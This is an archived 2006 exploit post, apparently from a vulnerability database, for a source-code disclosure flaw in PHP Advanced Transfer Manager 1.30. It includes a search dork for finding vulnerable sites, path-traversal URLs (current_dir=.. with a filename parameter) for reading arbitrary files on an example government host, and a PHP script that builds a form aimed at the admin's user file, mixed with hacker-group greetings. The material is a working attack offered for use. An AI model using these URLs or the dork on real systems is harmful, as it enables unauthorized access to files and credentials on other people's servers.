PHP Advanced Transfer Manager <= 1.30 Source Code Disclosure Exploit

🗓️ 22 Dec 2006 00:00:00Reported by RootType
PHP Advanced Transfer Manager <= 1.30 Source Code Disclosure Exploit. Exploits source code disclosure vulnerability in PHP Advanced Transfer Manager version 1.30

                                                &lt;?

/*
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -


Exploit Name: PHP Advanced Transfer Manager &lt;= 1.30 Source Code Disclosure Exploit
Script Name: PHP Advanced Transfer Manager 1.30
Script Site: http://phpatm.free.fr/
dork: &quot;Powered by PHP Advanced Transfer Manager v1.30&quot;
Find by: Kacper (a.k.a Rahim)


========&gt;  DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam  &lt;========
========&gt;         http://www.rahim.webd.pl/            &lt;========

Contact: [email protected]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito &amp; Leon | friend str0ke ;)

Blund Coder, D0han, d3m0n, D3m0n (ziom z Niemiec :P), dn0d'e, DUREK5, fdj, Grzegorz, GrZyB997, konsol, Mandr4ke,
mass, michalind, mIvus, Nua, nukedclx, pepi, QunZ, Qw3rty, RebeL, SkD, Adam, arkadius, asteroid, blue, Ci2u, CrazzyIwan,
DMX, drzewko, ExTrEmE][-][ack, Gelo, Kicaj, Larry, Leito, LEON, Michas, Morpheus, MXZ, Ramzes, redsaq, TomZen

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

in folder users we dont find any file like: .htaccess so we can read all files :)

http://site.gov.pl/upload/users/Admin

Admin &lt; username :)

or you can read all files in ftp :)

http://site.gov.pl/upload/viewers/html.php?current_dir=..&amp;filename=[file]
http://site.gov.pl/upload/viewers/htm.php?current_dir=..&amp;filename=[file]


GAME OVER :)
*/
//Settings
$nick = &quot;Admin&quot;;
$glowna = &quot;http://site.com/path/&quot;;
$exploit = &quot;1&quot;; //$exploit = &quot;0&quot;;  &lt; exploit off
//End Settings

//****************************************************************************************************************************************************
if ( $exploit == &quot;1&quot; ) {
$exp= &quot;&lt;title&gt;PHP Advanced Transfer Manager &amp;lt;= 1.30 Source Code Disclosure Exploit :: DEVIL TEAM :: The Best Polish Team ::&lt;/title&gt;&quot;
.&quot;&lt;style type=\&quot;text/css\&quot;&gt;&quot;
.&quot;body {background-color: #000000;}&quot;
.&quot;body,td,th {color: #FFFFFF;}&quot;
.&quot;.name {font-size:11px;font-weight: bold}&quot;
.&quot;&lt;/style&gt;&lt;form method=\&quot;get\&quot; action=\&quot;&quot;.$glowna.&quot;/users/&quot;.$nick.&quot;\&quot;&gt;&quot;
.&quot;&lt;div align=\&quot;center\&quot;&gt;&lt;img src=\&quot;http://www.rahim.webd.pl/index_r2_c3.jpg\&quot;&gt;&lt;/div&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt;script url:&lt;br&gt;&quot;
.&quot;&lt;input type=\&quot;text\&quot; name=\&quot;glowna\&quot; size=\&quot;90\&quot; value=\&quot;&quot;.$glowna.&quot;\&quot;&gt;&quot;
.&quot;&lt;br&gt;&quot;
.&quot;Admin nick:&lt;br&gt;&quot;
.&quot;&lt;input name=\&quot;nick\&quot; type=\&quot;text\&quot; value=\&quot;&quot;.$nick.&quot;\&quot; size=\&quot;90\&quot;&quot;.$nick.&quot;\&quot;&gt;&quot;
.&quot;&lt;br&gt;&quot;
.&quot;&lt;input type=\&quot;submit\&quot; value=\&quot;Exploit\&quot; name=\&quot;submit\&quot;&gt;&quot;
.&quot;&lt;/p&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt;Find by: &lt;a href=\&quot;mailto:[email protected]\&quot;&gt;Kacper&lt;/a&gt; (a.k.a &lt;a href=\&quot;mailto:[email protected]\&quot;&gt;Rahim&lt;/a&gt;)&lt;br&gt;&quot;
.&quot;&lt;br&gt;&quot;
.&quot;DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam&lt;br&gt;&quot;
.&quot;&lt;br&gt;&quot;
.&quot;Contact: &lt;a href=\&quot;mailto:[email protected]\&quot;&gt;[email protected]&lt;/a&gt;&lt;br&gt;&quot;
.&quot;or&lt;/p&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt; &lt;a href=\&quot;http://www.rahim.webd.pl\&quot;&gt;http://www.rahim.webd.pl/&lt;/a&gt;&lt;/p&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot; class=\&quot;name\&quot;&gt;&amp;nbsp;&lt;/p&gt;&quot;
.&quot;&lt;HR WIDTH=\&quot;650\&quot; ALIGN=\&quot;center\&quot;&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt; Z Dedykacja dla osoby,&lt;br&gt;&quot;
.&quot;bez ktorej nie mogl bym zyc...&lt;br&gt;&quot;
.&quot;K.C:* J.M (a.k.a Magaja)&lt;/p&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt; Special Greetz: DragonHeart ;-)&lt;br&gt;&quot;
.&quot;Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus&lt;br&gt;&quot;
.&quot;SkD, nukedclx, Ramzes&lt;br&gt;&quot;
.&quot;&lt;br&gt;&quot;
.&quot;Greetz for all users DEVIL TEAM IRC Channel !!&lt;br&gt;&quot;
.&quot;!@ Przyjazni nie da sie zamienic na marne korzysci @!&lt;/p&gt;&quot;
.&quot;&lt;HR WIDTH=\&quot;650\&quot; ALIGN=\&quot;center\&quot;&gt;&quot;
.&quot;&lt;p align=\&quot;center\&quot;&gt;&amp;nbsp;  &lt;/p&gt;&quot;
.&quot;&lt;/form&gt;&quot;;
print $exp;
}
?&gt;
22 Dec 2006 00:00Current
7.1High risk
Vulners AI Score7.1